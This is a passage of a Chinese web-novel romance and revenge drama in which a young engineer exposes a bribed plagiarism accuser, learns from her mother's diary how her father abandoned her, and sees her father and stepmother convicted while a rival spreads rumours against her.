顾彦廷冷笑一声,“发给晚晚。”
“是。”
林舟正要退出去,顾彦廷突然叫住了他。
“对了,查一下江家那个老宅子。”
林舟一愣:“顾总,江家老宅不是已经被查封了吗?”
“我是说,当年那个把江晚絮逼到抑郁症**未遂的保姆,后来去哪了。”顾彦廷神情晦暗不明,“晚晚以前受的那些罪,我要一件一件,连本带利地讨回来。”
次日,国际学术交流论坛。
因为“江晚絮**”的热度,今天的论坛现场挤满了媒体记者,**短炮架得满满当当。
陆清璃坐在观众席的最后一排,戴着墨镜和口罩,把自己裹得严严实实。
看着台上正在展示PPT的威尔逊,她忍不住在心里得意。
只要坐实了抄袭的罪名,江晚絮那个“总工程师”的位置就坐不稳了。
到时候晚星科技股价大跌,顾彦廷也会受到牵连。
台上,威尔逊操着一口并不流利的中文,指着大屏幕上的两组数据图。
“大家请看,这是江小姐发表在《自然》子刊上的数据,这是我两年前在实验室得出的数据。相似度高达99%!这是赤裸裸的剽窃!是学术界的耻辱!”
台下一片哗然。
【真的假的?连威尔逊教授都这么说了,应该不会有假吧?】
【江晚絮靠男人上位就算了,怎么又爆出来学术**?】
【我就说嘛,这么年轻怎么可能当总工,原来是抄的!】
威尔逊越说越激动,仿佛受了天大的委屈:“我要求江小姐必须公开道歉,并赔偿我的精神损失!”
“说完了吗?”
一道清冷的女声响起。
众人循声望去。
只见江晚絮从后台缓缓走了出来。
“江小姐!请问你对威尔逊教授的指控有什么回应?”
“你真的抄袭了吗?”
记者们蜂拥而上,却被顾家的保镖死死挡在两米开外。
江晚絮径直走上台,站在威尔逊旁边。
一米六八的身高加上高跟鞋,气场竟然完全压过了那个洋老头。
“威尔逊教授,”江晚絮微笑着看着他,“你说你的数据是两年前得出的?”
威尔逊眼神闪烁了一下,但还是梗着脖子道:“当然!这是我的心血!”
“好。”
江晚絮点了点头,从口袋里掏出一个遥控器,按了一下。
大屏幕上的PPT瞬间切换。
一张张密密麻麻的实验日志扫描件出现在屏幕上。
“这是我四年前的实验日志。”
江晚絮的声音平静而有力,“每一页都有时间戳,每一组数据都有原始记录。甚至,连我不小心滴上去的咖啡渍都在。”
她指着其中一张图:“四年前的10月24日,凌晨三点,我为了测这组数据,在实验室待了整整48个小时。当时我不小心打翻了溶剂,也就是这组数据的异常波动来源。”
“威尔逊教授,既然你说数据是你两年前做的,那请问,你的数据里,为什么也会有这个因为‘打翻溶剂’而产生的异常波动呢?”
威尔逊的额头上冒出了冷汗:“这……这可能是巧合……”
“巧合?”
江晚絮冷笑一声,再次按下遥控器。
屏幕上
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出现了一段视频。
视频里,威尔逊正坐在一家高档餐厅里,对面是一个虽然打了码,但身形极其眼熟的女人。
虽然听不清他们在说什么,但那个女人递给威尔逊一张支票的动作,高清得连支票上的零都能数清楚。
紧接着,是一段音频播放出来。
【陆小姐,这事儿风险很大啊……那是江晚絮……】
【五百万美金。】
【成交!】
威尔逊的脸瞬间变得煞白,腿一软,差点瘫倒在地上。
台下的记者们立刻沸腾。
【**!这也太劲爆了吧!】
【收钱办事?这就是所谓的学术泰斗?】
【那声音……怎么听着那么像陆氏集团的大小姐陆清璃啊?】
最后一排的陆清璃,嘴唇都快咬烂了。
该死!
他们怎么会有这段录音?!
那是加密通话!只有军方级别的技术才能破解!
难道是顾彦廷……
江晚絮站在台上,视线穿过层层人群,落在了最后一排那个戴着墨镜的身影上。
“科学是严谨的,容不得半点沙子。”
江晚絮缓缓开口,“人,也一样。”
“有些人,以为有了钱就能颠倒黑白,以为躲在阴暗的角落里就能操纵一切。但我告诉你,真的假不了,假的真不了。”
“威尔逊教授,律师函稍后会送到您手上。至于您背后的那位……”
江晚絮说到这里顿了一下,然后露出一个灿烂的笑,“咱们来日方长。”
论坛主席黑着脸走上台,一把夺过威尔逊的话筒:“保安!把这个人轰出去!从此以后,该协会永久拉黑威尔逊!”
在一片唾骂声中,威尔逊被拖了出去。
论坛结束后,江晚絮刚走出大厅,手机就响了。
一个陌生的号码。
“喂?”
“江小姐,恭喜你大获全胜。”
电话那头传来一个温婉的女声,听起来大概五十岁左右,语气平和,却带着一种说不出的沧桑感。
江晚絮眯起眼睛,“你是谁?”
“我叫林静琬,”对方顿了顿,“如果你不介意的话,我想见你一面。我手里,有你母亲的遗物。”
第179章 行个方便
咖啡厅的包厢里,弥漫着一股淡淡的茉莉花茶香。
江晚絮推门进去的时候,看到窗边坐着一个穿着旗袍的女人。
那女人保养得很好,虽然眼角有了细纹,但气质温婉,举手投足间透着一股大家闺秀的风范。
然而,当那女人转过头来的一瞬间,江晚絮愣了愣。
“江小姐,请坐。”林静婉看到了江晚絮眼中的疑惑,却并不意外,只是淡淡一笑,做了一个“请”的手势。
江晚絮坐下,眼神依然戒备:“你和江芊妤是什么关系?”
“没什么关系。”
林静婉动作优雅地给她倒了一杯茶,“硬要说的话,我大概算是……她母亲柳芸的情敌?或者说,前辈?”
江晚絮皱眉:“你什么意思?”
“我是你父亲在你母亲去世一年后,短暂在一起过的一任……情人。”
林静婉说出“情人”两个字时,脸上没有丝毫羞愧,反而带着一种看透世事的嘲弄,“那时候柳芸还没进门,**嵩对外宣称丧偶,我是被他骗了。”
江父的风流债,她早就知道。
但她没想到,这个女人会主动找上门。
“你找我做什么?如果是想叙旧,或者是替江家求情,那你可以走了。”江晚絮冷冷道。
“求情?”
林静婉轻笑一声,从包里拿出一个生锈的铁盒子,推到江晚絮面前,“我恨不得他死,怎么会替他求情?”
江晚絮看着那个铁盒子。
盒子很旧了,上面还印着那种老式的饼干图案,边缘都掉了漆。
“这是什么?”
“你母亲的东西。”
林静婉叹了口气,眼神变得有些复杂,“当年我发现**嵩脚踏两条船,甚至早就和柳芸有了孩子之后,我就决意离开。但在离开前,我在**嵩的书房保险柜里,偷走了这个。”
“我想着,如果有一天他要报复我,这就是我的保命符。”
“但这么多年过去了,我也一直在国外隐居。最近听说江家倒了,我觉得,这东西该物归原主了。”
江晚絮的手颤抖着,抚上那个铁盒子。
“打开看看吧。”林静婉轻声道。
江晚絮深吸一口气,用力扣开生锈的盖子。
“咔哒”一声。
盒子开了。
里面静静地躺着一本泛黄的日记本,几张发黄的照片,还有一份折叠起来的文件。
江晚絮先拿起了那份文件。
展开。
这是一份《放弃抚养权协议书》。
甲方法:**嵩。
乙方:方颖。
内容触目惊心:【本人**嵩,自愿放弃女儿江晚絮的抚养权,生死与本人无关……】
落款日期,竟然是她出生后的第三天!
江晚絮只觉得一股寒气从脚底直冲天灵盖。
“他……早就想把我扔了?”江晚絮的声音在发抖。
她一直以为,父亲只是重男轻女,只是不喜欢她。
没想到,从她出生的那一刻起,他就想让她彻底消失!
“不仅仅是想把你扔了。”
林静婉喝了一口茶,语气幽幽,“**嵩一直迷信。当年有个算命的说,你母亲这胎怀的是个‘灾星’,会克死他,也会克死江家的财运。所以从你还在肚子里的时候,他就已经在策划怎么弄死你,或者把你送走了。”
“如果不是你外婆当年护着,把你接回乡下,你根本活不到回江家。”
江晚絮颤抖着翻开日记本。
那是母亲的字迹,娟秀,却透着无尽的绝望。
【X年X月X日。】
【今天他又喝醉了。他指着我的肚子骂,说这里面是个讨债鬼。他踢了我一脚,肚子好痛……宝宝,妈妈对不起你,妈妈保护不了你……】
【X年X月X日。】
【我看到他和那个叫柳芸的女人在一起了。那个女人肚子也大了。原来,他早就有了家,我才是那个多余的人……他说,只要我生下这个孩子,就让我滚。】
【X年X月X日。】
【还有六天就是预产期了。宝宝,我该怎么办?】
江晚絮仿佛看到了那个柔弱的女人,独自一人绝望地去医
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院的背影。
而那个被她叫了二十几年“爸爸”的男人,要把她们母女赶尽杀绝。
“原来……”
江晚絮捂着嘴,哭得浑身颤抖,“原来他从来都没有把我当成女儿……从来没有……”
小时候,她为了得到父亲的一句夸奖,拼命考第一名。
哪怕发着高烧,也要帮他抄文件。
哪怕**芊妤陷害,跪在雪地里几个小时,她也只是希望父亲能看她一眼,哪怕是骂她两句也好。
她以为是自己不够好。
原来,不是她不够好。
是她的存在本身,对那个人来说,就是一种原罪。
“还有这个。”
林静婉指了指那几张照片。
照片上,是年轻的**嵩和柳芸,两人抱着一个刚满月的孩子,笑得灿烂。
那个孩子,是江芊妤。
而照片背面的日期,竟然比江晚絮的生日还要早两个月!
“江芊妤……比我大?”江晚絮瞳孔地震。
“没错。”
林静婉冷笑,“对外,他们说江芊妤是你妹妹。其实,柳芸才是那个先进门的小三,而你母亲,是被骗婚的那个。”
“江芊妤是私生女,为了洗白身份,才把你母亲骗进来,等把你母亲逼**,柳芸就能带着私生女堂而皇之地登堂**,还把年龄改小了,变成了‘妹妹’。”
江晚絮捏着照片,眼中燃烧着滔天的恨意。
这哪里是家人?
他们吸干了母亲的血,又来吸她的血!
“谢谢你……”江晚絮抬起头,双眼通红,“谢谢你告诉我这些。”
林静婉看着她。
不愧是那个女人的女儿,够坚强。
“不用谢我。我也是为了我自己。”
林静婉放下茶杯,终于说出了自己的目的,“我有个女儿,比江芊妤小两岁,刚从耶鲁毕业,想回国发展。”
“我知道现在顾氏和晚星科技在京圈一手遮天,我只希望,看在我今天坦诚相告的份上,以后如果她在圈子里遇到什么难处,江小姐能行个方便。”
第180章 铁证
江晚絮把铁盒子紧紧抱在怀里,“只要她有真本事,晚星科技的大门,随时为她敞开。”
林静婉笑了,起身整理了一下旗袍。
“那就好。江小姐,祝你……报仇愉快。”
说完她便转身离开。
包厢里只剩下江晚絮一个人。
“晚晚!”
不知过了多久,门被人推开。
顾彦廷冲了进来,身上还带着外面的寒气。
他显然是一路飙车过来的,领带都有些歪了。
看到江晚絮缩在沙发角里哭成泪人,顾彦廷的心脏像是被人狠狠捏了一把。
“怎么了?那个女人欺负你了?”
顾彦廷大步走过去,将她拥进怀里,声音急切,“别哭,告诉我,谁欺负你了?老子弄死他!”
江晚絮抬起头,泪眼朦胧地看着眼前这个满眼焦急的男人。
这是这世上,唯一一个把她放在心尖上的人。
“顾彦廷……”
她声音嘶哑,把脸埋进他的胸口,泪水瞬间浸湿了他的衬衫。
“我没有家人了……我真的,没有家人了……”
顾彦廷紧紧抱着她,大手一下一下地抚摸着她的后背。
“没事。”
他在她耳边低语,声音坚定而温柔,“你有我。”
“顾彦廷是你男人,是你家人,也是你永远的靠山。”
“那些垃圾,不配当你的家人。”
江晚絮在他怀里放声大哭,将这二十几年的委屈、不甘、痛苦,全部宣泄了出来。
回顾家的车上,她一直紧紧抱着那个铁盒子,一言不发。
顾彦廷也没有说话,只是紧紧握着她的一只手,时不时用大拇指摩挲一下她的手背,传递着无声的力量。
车子驶入顾家老宅。
老夫人已经睡了,外婆也早就休息了。
顾彦廷牵着江晚絮直接回了他们的小院。
一进卧室,江晚絮就瘫坐在地毯上。
“我去给你放洗澡水。”
顾彦廷蹲下身,想要把她手里的盒子拿走,“这东西,先放一边。”
“我不。”
江晚絮护着盒子,“这是妈妈留给我唯一的东西。”
顾彦廷看着她那副倔强的样子,叹了口气。
“好,不拿走。那你先起来,地上凉。”
他弯腰,直接将她打横抱起,走向浴室。
浴室里,热气腾腾。
顾彦廷把她放在洗手台上,亲手帮她脱去高跟鞋,又一点点褪去她的衣服。
当那件白色的衬衫滑落时,背上那道狰狞的伤疤暴露在暖黄色的灯光下。
那是之前救外婆时留下的。
虽然已经结痂愈合,但在她原本白皙光洁的背上,依然显得触目惊心。
顾彦廷的指尖轻轻划过那道疤痕,眼神里满是心疼和自责。
“还疼吗?”
“早就不疼了。”江晚絮吸了吸鼻子,声音还带着哭腔。
比起心里的伤,这点皮肉之苦算什么?
比起母亲曾经受过的罪,她这点伤又算什么?
顾彦廷把她放进浴缸里。
温热的水瞬间包裹住全身,驱散了骨子里的寒意。
江晚絮靠在浴缸边缘,看着顾彦廷挽起袖子,拿起毛巾帮她擦洗手臂。
“顾彦廷。”
“嗯?”
“我想把**嵩那个老混蛋弄死。”江晚絮突然开口,语气平静,“我想让他把他对我妈做过的事,统统尝一遍。”
顾彦廷手上的动作没停,只是淡淡地回了一句:“**犯法,为了那种垃圾把自己搭进去,不值得。”
“可是我不甘心。”
江晚絮咬着下唇,眼泪又开始打转,“凭什么?凭什么我妈受了那么多苦,他还能活得那么好?”
“谁说他在过得好了?”
顾彦廷把毛巾拧干,帮她擦了擦脸。
江晚絮一愣:“什么意思?”
顾彦廷嘴角勾起一抹残忍的弧度:“江明宇进去了,那个监狱里正好有个‘老大’,是林舟以前安排进去的眼线。”
“至于**嵩……”顾彦廷顿了顿,才开口,“**嵩有风湿,我已经让林舟起诉他恶意诽谤,这会儿应该还在警察局。”
江晚絮听着,心里那口恶气稍微顺了一些。
但还不够。
“那柳芸呢?”江晚絮问,“听说她
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还在替江芊妤申请保外就医?”
“保外就医?”
顾彦廷冷笑,“想得美。”
他凑近江晚絮,露出一个浅浅的冷笑,“林静婉给你的那些证据,重婚罪、遗弃罪,加上之前的****,足够我们起诉她了。”
“而且,我已经让人把**嵩和林静婉当**,还有江芊妤其实是私生女的事,透露给媒体了。”
江晚絮终于笑了。
虽然笑得有些勉强,但眼底的阴霾确实散去了不少。
“顾彦廷,你真坏。”
“那是,不坏怎么治得了那些恶人?”顾彦廷把她从水里捞出来,用大浴巾裹住,“而且,我还能更坏一点。”
“什么?”
顾彦廷把她抱回床上,欺身压了上去。
“老婆,你今天为了别人的男人哭了这么久,我很吃醋。”
顾彦廷的手指挑开她的浴巾,眼神灼热,“现在,是不是该轮到你补偿我了?”
“顾彦廷!江严嵩是我爸!”江晚絮推着他的胸口。
“他不配为人父。”
顾彦廷低头吻住她的唇,将所有的**都堵了回去。
这一夜,顾彦廷极尽温柔,却又带着几分惩罚的意味,逼着她一遍遍叫他的名字,直到她嗓子都哑了,再也没有力气去想那些糟心事。
直到第二天中午,江晚絮才醒过来。
浑身酸痛,像是被拆了架子重组了一样。
她摸过手机,发现有好几个未接来电。
全是陆清璃打来的。
还有一条短信:
【江晚絮,我们谈谈。】
江晚絮冷笑一声,直接把号码拉黑。
谈?
没什么好谈的。
既然撕破了脸,那就战到底。
她起床洗漱,看着镜子里的自己。
脖子上有几处暧昧的红痕,那是昨晚顾彦廷留下的“杰作”。
她用粉底遮了遮,然后换上一套黑色的职业装,戴上珍珠耳环。
今天的行程很满。
除了要去公司处理威尔逊那个案子的后续,还要去一趟律师事务所。
林静婉给的那份铁证,是时候发挥作用了。
第181章 尘埃落定?
江晚絮刚下楼,就看到外婆正坐在客厅里看电视。
电视上正在播放财经新闻,画面里正是昨天论坛上江晚絮霸气回怼的片段。
“哎哟,我们家晚晚真厉害!”
外婆笑得合不拢嘴,指着电视对旁边的佣人说,“看,这是我外孙女!比那些什么专家教授厉害多了!”
看到江晚絮下来,外婆连忙招手:“晚晚,快来!顾家那小子给你熬了燕窝粥,还在锅里热着呢。”
江晚絮心里一暖,走过去抱住外婆。
“外婆。”
“怎么了?是不是昨天累着了?”外婆摸了摸她的头发,“眼睛怎么有点肿?”
“没事,昨天看剧看哭了。”
江晚絮不想让外婆知道那些残忍的真相。
外婆年纪大了,受不得刺激。
“你这孩子。”外婆心疼地拍了拍她的手,“以后别那么拼命。咱们现在日子好过了,不用看任何人的脸色。”
“嗯。”
江晚絮用力点头,“外婆,以后我会让你过上最好的日子。”
喝了粥,江晚絮驱车前往公司。
刚到公司楼下,就看到一辆红色的法拉利极其嚣张地横在晚星科技的大门口。
陆清璃靠在车门上,戴着墨镜,手里夹着一支女士香烟,看起来有些憔悴,但依然气场十足。
看到江晚絮的车,陆清璃把烟头扔在地上踩灭,踩着高跟鞋走了过来。
“江晚絮,你够狠。”
陆清璃摘下墨镜,露出一双布满红血丝的眼睛,“连威尔逊那种老油条都被你搞得身败名裂。”
江晚絮下了车,抱着手臂,冷冷地看着她:“过奖。比起陆大小姐**、各种下作手段,我这只是正当防卫。”
“别得意太早。”
陆清璃逼近一步,压低声音,“你以为有了顾彦廷撑腰,你就赢定了?顾家那种豪门,水深得很。顾老太太虽然现在看着喜欢你,但如果她知道你是个‘克亲’的扫把星,你看她还会不会让你进门!”
江晚絮挑眉:“克亲?陆大小姐也是受过高等教育的人,也信这种封建迷信?”
“信不信不重要,重要的是有人信。”
陆清璃嘴角勾起一抹诡异的笑,“江晚絮,你知道为什么你妈死得那么早吗?你知道为什么你爸那么恨你吗?”
江晚絮心里咯噔一下。
难道陆清璃也知道些什么?
“你想说什么?”
“我想说,有些命,是注定的。”陆清璃从包里拿出一张照片,在她面前晃了晃。
那是一张江晚絮在墓地的照片。
是在她母亲的墓前。
“我已经找大师算过了,你的八字,极阴。谁沾上你谁倒霉。”
陆清璃得意洋洋,“我已经把这个消息散播出去了。很快,整个京圈都会知道,顾彦廷娶了个扫把星回家。到时候,我看顾家的股票跌不跌!”
江晚絮看着她那副小人得志的嘴脸,突然觉得有些好笑。
这就是陆氏集团的大小姐?
黔驴技穷到只能用这种下三滥的迷信手段了?
“陆清璃。”
江晚絮往前走了一步,逼得陆清璃不得不后退。
“你是不是忘了,我是搞科学的?”
江晚絮指了指自己的脑子,“在这个世界上,只有弱者才会把失败归结于命运,把无能归结于玄学。”
“你想散播谣言?尽管去。”
“但在这之前,你最好先担心一下你自己。”
江晚絮拿出手机,点开一段录音。
那是之前江明宇在审讯室里供出的,关于陆清璃如何暗示他剪刹车线的细节补充。
虽然之前陆清璃用律师函撇清了,但只要配合上林静婉给的关于陆家当年非法侵占江家资产的证据链……
“陆氏集团最近的资金链,应该很紧张吧?”
江晚絮笑的灿烂,“如果这时候,爆出陆大小姐涉嫌教唆**,以及陆氏集团****的新闻,你猜,陆家的股票会跌几个停板?”
陆清璃的脸色瞬间变了。
“你……你怎么会知道陆氏资金链的问题?”
“要想人不知,除非己莫为。”
江晚絮收起手机,转身上楼,“陆清璃,回去准备棺材吧。这次,我要让你连求饶的机会都没有。”
看着江晚絮潇洒离去的背影,陆清璃气得浑身发抖,一脚踹在法拉利的车门上。
“江晚絮!咱们走着瞧!”
接下来的几天,京圈风起云涌。
先是威尔逊在国际上被彻底**,不仅被剥夺了教授职称,还面临着巨额的索赔诉讼。
紧接着,一篇名为《豪门恩怨:揭秘**家族背后的血腥上位史》的文章,在各大网络平台疯传。
文章图文并茂,详细列举了**嵩如何骗婚、如何婚内出轨、如何*
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*原配和女儿,以及柳芸如何带着私生女江芊妤鸠占鹊巢的全部过程。
最锤的是,文章最后附上了那份《放弃抚养权协议书》的高清扫描件,以及**嵩和柳芸在原配在世时的亲密合照。
一石激起千层浪。
全网炸锅。
【我吐了!这简直是现实版陈世美!】
【心疼江晚絮!在这样的家庭里长大,还能这么优秀,简直是奇迹!】
【江芊妤竟然是私生女?以前还营销什么豪门千金、白天鹅人设,恶心!】
【柳芸也是个极品,当小三还这么理直气壮,逼死原配,这种人应该下地狱!】
**一边倒地支持江晚絮。
而在看守所里的江芊妤,得知这个消息后,当场气晕了过去。
醒来后,她发现周围狱友看她的眼神都变了。
充满了鄙夷、厌恶。
甚至在吃饭的时候,有人故意在她碗里吐口水。
“什么豪门千金,原来是个私生子。”
“逼死原配,还**人家女儿,这种人怎么不**?”
江芊妤崩溃大哭,吵着要见律师。
可惜,她现在根本没有律师。
一周后。
江晚絮正式向**提起诉讼。
控告**嵩和柳芸犯有重婚罪、遗弃罪、**罪。
同时,向陆氏集团提起不正当竞争诉讼,并提交了陆清璃教唆犯罪的新证据。
开庭那天,依然是个雨天。
江晚絮穿着一身黑色的风衣,挽着顾彦廷的手臂,走进了**大门。
庭审现场。
**嵩坐在被告席上,短短半个月,他像是老了十岁。头发全白了,佝偻着背,眼神浑浊。
看到江晚絮进来,他浑浊的眼里闪过一丝怨毒,但很快又变成了恐惧。
因为顾彦廷正冷冷地盯着他。
庭审过程很顺利。
林静婉作为关键证人,通过视频连线出庭作证。
她的证词逻辑清晰,证据确凿,把**嵩和柳芸锤得死死的。
当法官宣判的那一刻——
“被告人**嵩,犯重婚罪、遗弃罪、****罪……数罪并罚,判处**二十年。”
“被告人柳芸,犯重婚罪、**罪……判处**十八年。”
尘埃落定。
**嵩瘫软在椅子上,嘴里喃喃自语:“我到底是造了什么孽……我是造了什么孽啊……”
第182章 摆脱不了
顾家老宅,茶室。
檀香袅袅,却压不住空气里那股子阴阳怪气的味道。
陆清璃手里端着一杯刚沏好的大红袍,眼神却时不时瞟向对面正闭目养神的秦兰。
“伯母,这是我托人从武夷山老树上采下来的,您尝尝,对心血管好。”
秦兰睁开眼,接过茶杯抿了一口气,脸色稍微缓和了些:“清璃啊,还是你有心。不像彦廷,整天就知道忙公司的事,也不着家。”
“彦廷哥那是做大事的人。”陆清璃放下茶壶,状似无意地叹了口气,“只要以后家里有个知冷知热的人帮衬着,您也就不用操心了。不过……”
她欲言又止,眉头轻蹙,一副为难的样子。
秦兰放下茶杯,“不过什么?跟伯母还有什么不能说的?”
陆清璃咬了咬嘴唇,像是下了很大决心才开口:“伯母,您记不记得,江夫人怀孕的时候精神出了问题?据说,是有遗传倾向的躁郁症。”
秦兰的手一抖,茶杯盖子磕在杯沿上,发出清脆的一声响。
“遗传?”秦兰的脸色瞬间沉了下来。
陆清璃观察着秦兰的神色,继续添油加醋,“听说当年她怀着江小姐的时候,就经常歇斯底里的。伯母,您也知道,这种病……是有概率遗传给下一代的。”
她顿了顿,声音压得更低,带着几分惊恐:“万一以后彦廷哥的孩子……这可是顾家的长孙啊,要是智力或者精神上有什么缺陷……”
这句话,让秦兰不由自主地想起了江晚絮三番五次的逃离。
顾家这种顶级豪门,最看重的就是血脉传承。
当晚,顾彦廷带着江晚絮回老宅吃饭。
饭桌上的气氛有些诡异。
秦兰几次欲言又止,眼神不停地在江晚絮平坦的小腹上扫来扫去。
江晚絮察觉到了。
那种眼神她很熟悉。
以前在江家,江父看她像看垃圾;后来嫁给叶寒,叶寒看她像看空气;现在,这种像是看“残次品”的眼神,又出现了。
她默默地低头扒饭,嘴里的红烧肉如同嚼蜡。
“彦廷。”秦兰终于忍不住了,放下了筷子,“妈有些话,不得不问。”
顾彦廷正帮江晚絮剥虾,头也没抬:“食不言寝不语。”
秦兰语气严厉起来,“我听说,江晚絮的妈妈有精神病史?这种事情,你们是不是打算瞒我一辈子?”
江晚絮脸色瞬间惨白。
方颖是**华嵩和柳芸活活逼出抑郁症的,怎么到了别人嘴里,就成了精神病?
“谁跟您说的?”
顾彦廷慢条斯理地擦了擦手,抬起眼皮,眸底一片冰寒。
“你别管谁说的,你就告诉我,是不是真的!”秦兰拍着桌子,“彦廷,顾家几代单传,咱们家不能要一个带着疯子基因的儿媳妇!万一以后孩子生下来是个傻子、疯子,顾家的脸往哪搁?”
江晚絮感觉全身的血液都在倒流。
疯子基因……
原来在她努力了这么久,即使成了顶尖科学家,即使拿回了属于自己的一切,在这些人眼里,她依然是个随时可能发疯的定时**。
“伯母,我母亲不是疯子。”江晚絮颤抖着声音“她是被逼的……是被他们逼死的……”
“借口!谁家过日子没点磕磕碰碰,怎么就她疯了?”
秦兰已经被陆清璃洗了脑,根本听不进去。
“够了!”
顾彦廷猛地站起身。
他伸手把江晚絮揽进怀里,眼神凌厉地看向秦兰。
“妈,晚絮的体检报告就在我办公室。您要是想看,我现在就让林舟送过来。”
“至于孩子。”
他冷笑一声,目光坚定,“如果您担心所谓的‘基因’问题,那正好。我们可以不要孩子。”
“你说什么?!”秦兰瞪大了眼睛,不敢相信自己的耳朵。
“我说,我可以不要孩子。”顾彦廷一字一顿,“我顾彦廷要娶的是江晚絮这个人,不是找个子宫来繁衍后代。如果顾家皇位没人继承,那就捐了。我只要她。”
秦兰捂着胸口,跌坐在椅子上,半天说不出话来。
江晚絮抬头看着顾彦廷,眼眶微红。
以前叶寒对她说:“你连个蛋都生不出来,留着
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你有什么用?”
而现在,这个站在金字塔顶端的男人,当着全家人的面说:“为了她,我可以**。”
这大概就是,被爱和被利用的区别吧。
一顿晚饭就这样不欢而散。
秦兰心情不好,在老宅里整整五天没出门。
陆清璃知道后,并没有死心。
既然“疯子基因”这招不管用,那就换个打法。
短短三天,顾氏集团的董事会内部就开始流传起了一些风言风语。
“听说了吗?那个江晚絮性格极其强势,控制欲特别强。”
“是啊,听说她在晚星科技也是一言堂,根本不给其他人机会。”
“咱们顾总那是个情种,现在被迷得五迷三道的。万一以后这女人插手顾氏的决策,甚至想把顾氏吞了,那咱们这些股东的利益可就完了。”
江晚絮站在落地窗前,看着窗外灰蒙蒙的天空,手里捏着一张已经被揉皱的报纸。
版面上赫然写着:【顾氏未来堪忧?“强势媳妇”恐成最大隐患。】
“呵。”
江晚絮苦笑一声,将报纸扔进垃圾桶。
她转过身,看着坐在沙发上正在帮她处理文件的顾彦廷。
“顾彦廷,有时候我在想,我是不是真的带着某种诅咒?”
江晚絮的声音很轻,透着一股深深的疲惫,“我那个爹,把我是扫把星挂在嘴边二十几年。后来嫁给叶寒,叶寒说我是木头,是丧门星。现在到了顾家,我又成了‘疯子后代’、‘强势隐患’。”
她走到顾彦廷面前,蹲下身,把脸埋在他的膝盖上。
“是不是不管我怎么努力,怎么优秀,只要我还流着**嵩的血,我就永远摆脱不了这些脏水?”
“我真的……好累啊。”
以前**明宇按在地上打的时候,她没喊累。
被抽血抽到休克的时候,她没喊累。
可现在,看着顾彦廷为了维护她,在董事会上舌战群儒,被那些老顽固指着鼻子骂,她心疼了,也累了。
她怕自己这身洗不掉的泥泞,最终会把这个光风霁月的男人也拖进沼泽。
第183章 我不是叛徒
顾彦廷伸手覆在江晚絮的头顶,轻轻揉了揉。
“傻瓜。”
他的声音低沉醇厚,带着让人安心的力量。
他把她拉起来,抱坐在自己腿上,额头抵着她的额头。
“什么诅咒?那是弱者给自己的无能找的借口。”
“如果你是扫把星,那我就是专门收破烂……不对,专门收星星的宇航员。”
江晚絮“噗嗤”一声笑了,眼角还挂着泪珠:“哪有把自己比作收破烂的?”
“只要能把你收了,当乞丐我也乐意。”
顾彦廷亲了亲她的眼角,眼神变得无比认真,“晚晚,那些老顽固说什么,你不用管。顾氏是我说了算。”
“至于血缘……”
顾彦廷眼中闪过一丝狠厉,“如果这是诅咒,那我来扛。你只需要往前走,做你想做的研究,搞你想搞的事业。剩下的妖魔鬼怪,老公替你杀。”
江晚絮紧紧搂住他的脖子,贪婪地吸取着他身上的烟草味和薄荷香。
“顾彦廷,这可是你说的。要是哪天你扛不住了……”
“没有那一天。”
顾彦廷咬住她的嘴唇,堵住了她所有的不安。
“滴——”
办公桌上的座机响了。
“电话……”
江晚絮红着脸推开顾彦廷。
“不用理他。”
他俯下身去吻她。
“顾总,”林舟的声音从话机里传了出来,“江明哲来了。”
顾彦廷动作一顿,看着江晚絮。
江晚絮也同样看着他。
“看来,只能晚上再亲了。”
江晚絮伸手捶了锤他的肩膀。
“没正经。”
十分钟后,顾氏对面的咖啡厅里。
江晚絮看着坐在对面的男人,江明哲。
在这个家里,江明哲的存在感很低。
他不像大哥江明泽那样自负且盲目护短,也不像二哥江明宇那样暴力无脑。
他总是淡淡的,对谁都一样冷漠。
“你回来干什么?”江晚絮搅动着手里的咖啡,“如果是想给**嵩求情,或者是想替江芊妤报仇,那你找错人了。我现在脾气不好,不仅不听,还会骂人。”
江明哲从包里拿出一份文件,推到她面前。
“我没兴趣管他们的死活。”
他的声音很平,听不出什么情绪,“我回来,是还债的。”
江晚絮扫了一眼文件,是一份顶级算法架构的策划书。
“还债?”她笑了笑,“你欠我钱?”
“我欠你一条命,也欠你一句对不起。”
江明哲看着她,眼神第一次有了波动,“五年前,你**芊妤推下水那次,其实我看到了。”
那年冬天,湖水冰冷刺骨。她呼救了很久,没人理她。后来还是路过的园丁把她捞上来的,为此她发了一周的高烧,差点转成肺炎。
而江家人,只顾着安慰受到“惊吓”的江芊妤。
“我当时就在二楼的书房,看得很清楚,是她推的你。”江明哲垂下眼帘,“但我没说话。因为那时候我觉得,多一事不如少一事。我只需要搞好我的学术,家里的烂摊子跟我没关系。”
“后来你嫁给了叶寒,我以为家里能清净了。没想到……”
说到这,江明哲顿了顿,深吸了口气,看向对面高耸入云的顾氏大楼。
“我很感谢顾总,给了我机会。也谢谢你推荐我去那个研究室。二哥的事情,我很抱歉。可我知道,你需要的根本不是道歉这么简单。”
“晚絮,我最近看到那些新闻,看到妈……我是说方阿姨的日记。”
江明哲回过头,直视江晚絮的眼睛,“我才发现,我的冷漠,其实也是一种帮凶。”
“所以呢?”江晚絮把咖啡杯重重地磕在桌子上,发出刺耳的声音,“你现在良心发现,想来演一出兄妹情深的戏码?江明哲,你不要以为这样就能让我放过**嵩!”
江明哲并没有生气,反而极其冷静,“我知道我不配。我回来,是因为你需要盟友。你在明处,顾彦廷在商界,但在纯技术领域,尤其是网络攻防这块,你需要帮手。”
他指了指那份文件,“我就是你最好的帮手。”
江晚絮眯起眼睛,审视着江明哲。
“如果有一天,我要弄死**嵩,你会拦着吗
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?”
江明哲没有任何犹豫,点头。
“从我离开江家的那一刻起,我就已经没有父亲了。”
江晚絮看着他那双和自己有几分相似的眼睛,终于笑了。
“行。不过你记住了,这是生意,不是亲情。”
“明白。”
江明哲入职晚星科技的消息,隔天就传遍了整个计算机界。
作为国际顶尖的技术大牛,他的加入无疑是给晚星科技注入了一针强心剂。
那些原本因为谣言而动摇的股东,看到连江家自己的儿子都倒戈了,纷纷闭上了嘴。
毕竟,连亲哥都站队江晚絮,说明江晚絮才是那个“正统”。
晚星科技技术部。
江明哲确实是个工作狂,入职三天,就把公司核心防火墙重构了一遍,还顺手抓了两个陆氏集**来的商业间谍。
此刻,他正坐在电脑前,噼里啪啦地敲着代码。
江晚絮端着两盒盒饭走进来,踢了踢他的椅子腿。
“吃饭。别**了,我不想付工伤赔偿。”
江明哲接过盒饭,刚打开,手机就响了。
是一个陌生的座机号码。
他看了一眼,接起,并按下了免提。
“江明哲!你这个畜生!逆子!”
